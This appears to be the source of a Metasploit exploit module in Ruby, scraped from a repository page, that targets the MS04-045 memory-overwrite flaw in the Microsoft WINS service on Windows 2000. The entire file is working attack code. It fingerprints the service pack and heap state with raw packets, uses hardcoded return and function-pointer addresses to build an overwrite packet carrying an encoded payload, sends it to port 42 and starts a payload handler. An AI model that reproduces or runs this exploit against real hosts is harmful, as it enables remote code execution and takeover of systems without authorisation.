201 lines
4.7 KiB
Ruby
201 lines
4.7 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Wins::MS04_045 < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft WINS Service Memory Overwrite',
|
|
'Description' => %q{
|
|
This module exploits a arbitrary memory write flaw in the
|
|
WINS service. This exploit has been tested against Windows
|
|
2000 only.
|
|
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '12378'],
|
|
[ 'MSB', 'MS04-045'],
|
|
[ 'MIL', '78'],
|
|
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 8000,
|
|
'MinNops' => 512,
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows 2000 English', # Tested OK - 11/25/2005 hdm
|
|
{
|
|
'Platform' => 'win',
|
|
'Rets' => [ 0x5391f40, 0x53df4c4, 0x53922e0],
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Dec 14 2004',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(42)
|
|
], self.class )
|
|
end
|
|
|
|
def check
|
|
ret = fprint()
|
|
|
|
info = 'This system is running '
|
|
info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1].to_s} ")
|
|
info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")
|
|
info << (ret[3] ? '(clean heap)' : '(dirty heap)')
|
|
|
|
print_status(info)
|
|
return ret[0]
|
|
end
|
|
|
|
def exploit
|
|
ret = fprint()
|
|
|
|
if (ret[0] != Exploit::CheckCode::Vulnerable)
|
|
print_status("This system does not appear to be vulnerable")
|
|
return
|
|
end
|
|
|
|
# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
|
|
# same function pointer...
|
|
if (ret[1] != '2000' or ret[2] !~ /^[0234]/)
|
|
print_status("This target is not currently supported")
|
|
return
|
|
end
|
|
|
|
# This flag is un-set if the first leaked address is not the default of
|
|
# 0x05371e90. This can indicate that someone has already tried to exploit
|
|
# this system, or something major happened to the heap that will probably
|
|
# prevent this exploit from working.
|
|
if (not ret[3])
|
|
print_status("Warning: the leaked heap address indicates that this attack may fail");
|
|
end
|
|
|
|
# The base address of our structure in memory
|
|
base = target['Rets'][0]
|
|
|
|
# Address of the function pointers to overwrite (courtesy anonymous donor)
|
|
targ = target['Rets'][1]
|
|
|
|
# Address of the payload on the heap, past the structure
|
|
code = target['Rets'][2]
|
|
|
|
# Build up the wins packet
|
|
addr = ''
|
|
addr << ([code].pack('V') * 9)
|
|
addr << ([targ - 0x48].pack('V') * 14)
|
|
|
|
wins = addr * 10
|
|
wins << payload.encoded
|
|
wins << Rex::Text.rand_text_english(9200-wins.length, payload_badchars)
|
|
|
|
wpkt = [wins.length + 8, -1, base].pack('NNN')
|
|
wpkt << wins
|
|
|
|
print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))
|
|
|
|
# Connect and send the request
|
|
connect
|
|
sock.put(wpkt)
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
# This fingerprinting routine will cause the structure base address to slide down
|
|
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
|
|
# we need to make sure that fingerprint is always called before exploitation or
|
|
# the alignment will be way off.
|
|
def fprint
|
|
|
|
ret = [Exploit::CheckCode::Safe, '', '', '']
|
|
|
|
req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+
|
|
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+
|
|
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"
|
|
|
|
connect
|
|
sock.put(req)
|
|
data = sock.get_once
|
|
return ret if not data
|
|
|
|
ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )
|
|
|
|
print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))
|
|
|
|
os = '2000'
|
|
sp = '?'
|
|
vi = false
|
|
|
|
# Check for Windows 2000 systems
|
|
case ptrs[3]
|
|
when 0x77f8ae78
|
|
sp = '0'
|
|
when 0x77f81f70
|
|
sp = '1'
|
|
when 0x77f82680
|
|
sp = '2'
|
|
when 0x77f83608
|
|
sp = '3'
|
|
when 0x77f89640
|
|
sp = '4'
|
|
when 0x77f82518
|
|
sp = '5'
|
|
when 0x77f81648 # Contributed by grutz[at]jingojango.net
|
|
sp = '3/4'
|
|
end
|
|
|
|
# Reset the OS string if no match was found
|
|
os = '?' if sp == '?'
|
|
|
|
# Check for Windows NT 4.0 systems
|
|
if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)
|
|
os = 'NT'
|
|
sp = '?'
|
|
end
|
|
|
|
# Heap is still pristine...
|
|
vi = true if ptrs[0] == 0x05371e90
|
|
|
|
# Determine if the patch has already been applied
|
|
req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +
|
|
"\x00\x00\x00\x03\x00\x00\x00\x00"
|
|
|
|
sock.put(req)
|
|
data = sock.get_once
|
|
disconnect
|
|
|
|
ret[1] = os
|
|
ret[2] = sp
|
|
ret[3] = vi
|
|
|
|
if (data and data[6, 1] == "\x78")
|
|
ret[0] = Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return ret
|
|
end
|
|
|
|
end
|
|
end
|